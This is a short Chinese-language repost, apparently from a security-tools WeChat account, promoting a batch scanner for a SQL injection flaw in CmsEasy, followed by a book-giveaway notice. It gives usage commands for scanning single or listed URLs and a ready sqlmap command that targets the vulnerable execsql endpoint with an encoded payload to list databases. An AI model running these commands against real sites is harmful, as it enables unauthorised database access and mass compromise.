CmsEasy SQL注入漏洞批量扫描工具
2023-4-18 22:1:17 Author: Web安全工具库(查看原文) 阅读量:18 收藏

===================================

免责声明
请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。

0x01 工具介绍

CmsEasy SQL注入漏洞批量扫描工具。

0x02 安装与使用

1、单个url测试

python3 cmseasy_sql_scan.py -u http://127.0.0.1:1111

2、批量检测 扫描结束后会在当前目录生成vuln.txt记录存在漏洞的url 

python3 cmseasy_sql_scan.py -f url.txt

3、sql注入执行

python sqlmap.py -u "https://xxx.xxx.xxx.xxx/?case=crossall&act=execsql&sql=Ud-ZGLMFKBOhqavNJNK5WRCu9igJtYN1rVCO8hMFRM8NIKe6qmhRfWexXUiOqRN4aCe9aUie4Rtw5" --dbs 

0x03 项目链接下载

1、通过阅读原文，到项目地址下载
2、公众号后台回复：工具，获取网盘下载链接
3、关注下方公众号回复：送书，获取抽奖码
4、每日抽奖送书规则

· 今 日 送 书 ·

本书以CentOS Linux系统的操作实践为出发点，系统讲解Linux安装和管理的方法，从系统安装、基础命令到网络管理以及常用的系统服务，使得读者可以快速获得日常维护Linux系统和网络服务的技能。


文章来源: http://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247508408&idx=2&sn=bfd354d31b5a0cfe6af1e6a3e973223a&chksm=ebb54ebbdcc2c7ade4c7e67c08ac0a95c17c1ce5dfb780a1c2eeb7003a0406e9352b5085878c#rd
如有侵权请联系:admin#unsafe.sh